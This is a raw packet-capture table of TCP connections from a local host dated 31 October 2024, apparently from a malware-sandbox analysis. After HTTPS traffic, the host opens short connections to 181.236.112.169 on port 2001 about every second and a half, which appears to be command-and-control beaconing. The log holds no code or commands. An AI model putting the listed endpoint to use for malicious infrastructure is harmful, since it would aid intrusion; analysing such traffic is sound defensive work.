Oct 31, 2024 07:41:21.157111883 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.157126904 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.157170057 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.187342882 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.187360048 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.187414885 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.187429905 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.187443972 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.187480927 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.271013975 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.271029949 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.271121979 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.271147966 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.271209955 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.276798964 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.276813984 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.276907921 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.276922941 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.276972055 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.306845903 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.306864977 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.306951046 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.306967020 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.307050943 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.395200014 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.395215988 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.395292997 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.395327091 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.395545006 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.425271034 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.425287008 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.425359964 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.425374031 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.425400019 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.425432920 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.510149002 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.510165930 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.510241985 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.510257959 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.510288954 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.510309935 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.514904976 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.514921904 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.514993906 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.515010118 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.515064001 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.544699907 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.544714928 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.544785023 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.544807911 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.544872046 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.629359961 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.629375935 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.629472971 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.629496098 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.629554033 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.634100914 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.634120941 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.634169102 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.634183884 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.634210110 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.634242058 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.663947105 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.663964033 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.664040089 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.664057016 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.664134026 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.751986027 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.752005100 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.752064943 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.752085924 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.752132893 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.752294064 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.752367020 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.752379894 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.752404928 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.752707958 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.752746105 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:22.025161982 CET	49741	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:22.030025005 CET	2001	49741	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:22.030086040 CET	49741	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:22.031539917 CET	49741	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:22.036432981 CET	2001	49741	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:22.588283062 CET	2001	49741	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:22.588918924 CET	49741	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:22.588977098 CET	49741	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:22.593815088 CET	2001	49741	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:23.604532957 CET	49742	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:23.609563112 CET	2001	49742	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:23.609636068 CET	49742	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:23.610044956 CET	49742	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:23.614911079 CET	2001	49742	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:24.168287039 CET	2001	49742	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:24.168349981 CET	49742	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:24.168405056 CET	49742	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:24.173141956 CET	2001	49742	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:25.182823896 CET	49743	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:25.187647104 CET	2001	49743	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:25.190184116 CET	49743	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:25.190505981 CET	49743	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:25.195275068 CET	2001	49743	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:25.740830898 CET	2001	49743	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:25.740895033 CET	49743	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:25.740942001 CET	49743	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:25.745733023 CET	2001	49743	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:26.749363899 CET	49744	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:26.754239082 CET	2001	49744	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:26.754323006 CET	49744	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:26.756293058 CET	49744	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:26.761130095 CET	2001	49744	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:27.304760933 CET	2001	49744	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:27.304835081 CET	49744	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:27.304883957 CET	49744	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:27.309730053 CET	2001	49744	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:28.307629108 CET	49745	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:28.312520027 CET	2001	49745	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:28.312591076 CET	49745	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:28.312937975 CET	49745	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:28.317709923 CET	2001	49745	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:28.864036083 CET	2001	49745	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:28.864114046 CET	49745	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:28.864193916 CET	49745	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:28.869400024 CET	2001	49745	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:29.870443106 CET	49746	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:29.875329971 CET	2001	49746	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:29.875406981 CET	49746	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:29.875749111 CET	49746	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:29.880619049 CET	2001	49746	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:30.432914972 CET	2001	49746	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:30.432971954 CET	49746	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:30.433022976 CET	49746	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:30.437979937 CET	2001	49746	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:31.448164940 CET	49747	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:31.453205109 CET	2001	49747	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:31.453289032 CET	49747	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:31.453622103 CET	49747	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:31.458539963 CET	2001	49747	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:32.267869949 CET	2001	49747	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:32.268239021 CET	2001	49747	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:32.268377066 CET	49747	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:32.270159006 CET	49747	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:32.275755882 CET	2001	49747	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:33.276213884 CET	49748	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:33.952852011 CET	2001	49748	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:33.953041077 CET	49748	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:33.953404903 CET	49748	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:33.958151102 CET	2001	49748	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:34.511995077 CET	2001	49748	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:34.512077093 CET	49748	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:34.512109995 CET	49748	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:34.516871929 CET	2001	49748	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:35.526367903 CET	49749	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:35.531337023 CET	2001	49749	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:35.531415939 CET	49749	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:35.531714916 CET	49749	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:35.536592960 CET	2001	49749	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:36.089909077 CET	2001	49749	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:36.089992046 CET	49749	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:36.090048075 CET	49749	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:36.094959021 CET	2001	49749	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:37.104551077 CET	49750	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:37.109517097 CET	2001	49750	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:37.109621048 CET	49750	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:37.109960079 CET	49750	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:37.114736080 CET	2001	49750	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:37.660305023 CET	2001	49750	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:37.660368919 CET	49750	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:37.660439968 CET	49750	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:37.665868998 CET	2001	49750	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:38.669819117 CET	49751	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:38.675028086 CET	2001	49751	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:38.675110102 CET	49751	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:38.675447941 CET	49751	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:38.680250883 CET	2001	49751	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:39.217823029 CET	2001	49751	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:39.217925072 CET	49751	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:39.217998981 CET	49751	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:39.222918034 CET	2001	49751	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:40.229500055 CET	49752	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:40.234428883 CET	2001	49752	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:40.234508991 CET	49752	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:40.234870911 CET	49752	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:40.239650011 CET	2001	49752	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:40.791227102 CET	2001	49752	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:40.791296005 CET	49752	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:40.791347980 CET	49752	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:40.796232939 CET	2001	49752	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:41.811675072 CET	49753	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:41.816620111 CET	2001	49753	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:41.816720963 CET	49753	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:41.817111015 CET	49753	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:41.821892977 CET	2001	49753	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:42.375575066 CET	2001	49753	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:42.375711918 CET	49753	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:42.375822067 CET	49753	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:42.380671978 CET	2001	49753	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:43.385826111 CET	49754	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:43.390852928 CET	2001	49754	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:43.390950918 CET	49754	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:43.391319036 CET	49754	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:43.396087885 CET	2001	49754	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:43.950627089 CET	2001	49754	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:43.950701952 CET	49754	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:43.950783968 CET	49754	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:43.955574036 CET	2001	49754	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:44.963911057 CET	49755	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:44.968933105 CET	2001	49755	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:44.969012022 CET	49755	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:44.969399929 CET	49755	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:44.974277973 CET	2001	49755	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:45.522367001 CET	2001	49755	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:45.522449017 CET	49755	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:45.522530079 CET	49755	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:45.527394056 CET	2001	49755	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:46.526601076 CET	49756	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:46.531588078 CET	2001	49756	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:46.531698942 CET	49756	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:46.532179117 CET	49756	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:46.536963940 CET	2001	49756	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:47.077120066 CET	2001	49756	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:47.077217102 CET	49756	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:47.077311039 CET	49756	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:47.082068920 CET	2001	49756	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:48.089334965 CET	49757	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:48.094672918 CET	2001	49757	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:48.094806910 CET	49757	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:48.095206022 CET	49757	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:48.100560904 CET	2001	49757	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:48.646112919 CET	2001	49757	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:48.646222115 CET	49757	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:48.646307945 CET	49757	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:48.651187897 CET	2001	49757	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:49.651438951 CET	49758	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:49.656462908 CET	2001	49758	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:49.656539917 CET	49758	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:49.656958103 CET	49758	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:49.661763906 CET	2001	49758	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:50.208179951 CET	2001	49758	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:50.208256006 CET	49758	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:50.208363056 CET	49758	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:50.213071108 CET	2001	49758	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:51.214850903 CET	49759	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:51.219916105 CET	2001	49759	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:51.220024109 CET	49759	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:51.220516920 CET	49759	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:51.225285053 CET	2001	49759	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:51.798034906 CET	2001	49759	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:51.798150063 CET	49759	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:51.798249006 CET	49759	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:51.803155899 CET	2001	49759	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:52.807745934 CET	49760	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:52.812736034 CET	2001	49760	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:52.812830925 CET	49760	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:52.815630913 CET	49760	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:52.820517063 CET	2001	49760	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:53.365606070 CET	2001	49760	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:53.365775108 CET	49760	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:53.365859032 CET	49760	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:53.370646000 CET	2001	49760	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:54.370198011 CET	49761	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:54.375122070 CET	2001	49761	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:54.375240088 CET	49761	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:54.375581026 CET	49761	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:54.380341053 CET	2001	49761	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:54.919889927 CET	2001	49761	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:54.920087099 CET	49761	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:54.920087099 CET	49761	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:54.925046921 CET	2001	49761	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:55.932540894 CET	49762	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:55.937514067 CET	2001	49762	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:55.937603951 CET	49762	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:55.937978029 CET	49762	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:55.942837954 CET	2001	49762	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:56.651932001 CET	2001	49762	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:56.652053118 CET	49762	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:56.652127028 CET	49762	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:56.656933069 CET	2001	49762	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:57.667016983 CET	49764	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:57.671933889 CET	2001	49764	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:57.672020912 CET	49764	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:57.672425985 CET	49764	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:57.677213907 CET	2001	49764	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:58.231223106 CET	2001	49764	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:58.231283903 CET	49764	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:58.231360912 CET	49764	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:58.236171961 CET	2001	49764	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:59.245210886 CET	49766	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:59.250157118 CET	2001	49766	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:59.250247955 CET	49766	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:59.250597000 CET	49766	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:59.255424023 CET	2001	49766	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:59.801213980 CET	2001	49766	181.236.112.169	192.168.2.4
Oct 31, 2024 07:41:59.801295996 CET	49766	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:59.801395893 CET	49766	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:41:59.806158066 CET	2001	49766	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:00.807656050 CET	49777	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:00.814770937 CET	2001	49777	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:00.814851046 CET	49777	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:00.815279007 CET	49777	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:00.821058989 CET	2001	49777	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:01.365036964 CET	2001	49777	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:01.365104914 CET	49777	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:01.365169048 CET	49777	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:01.370218039 CET	2001	49777	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:02.371098042 CET	49783	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:02.375895023 CET	2001	49783	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:02.375971079 CET	49783	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:02.376348019 CET	49783	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:02.381161928 CET	2001	49783	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:02.920078039 CET	2001	49783	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:02.920176983 CET	49783	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:02.920285940 CET	49783	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:02.925088882 CET	2001	49783	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:03.932791948 CET	49794	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:03.937727928 CET	2001	49794	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:03.937844992 CET	49794	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:03.938416958 CET	49794	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:03.944494009 CET	2001	49794	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:04.488739014 CET	2001	49794	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:04.488840103 CET	49794	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:04.488893986 CET	49794	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:04.493803024 CET	2001	49794	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:05.495049000 CET	49805	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:05.500065088 CET	2001	49805	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:05.500134945 CET	49805	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:05.500474930 CET	49805	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:05.505270958 CET	2001	49805	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:06.058459044 CET	2001	49805	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:06.058517933 CET	49805	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:06.058568001 CET	49805	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:06.063462973 CET	2001	49805	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:07.073554039 CET	49816	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:07.078713894 CET	2001	49816	181.236.112.169	192.168.2.4
Oct 31, 2024 07:42:07.078818083 CET	49816	2001	192.168.2.4	181.236.112.169
Oct 31, 2024 07:42:07.079178095 CET	49816	2001	192.168.2.4	181.236.112.169
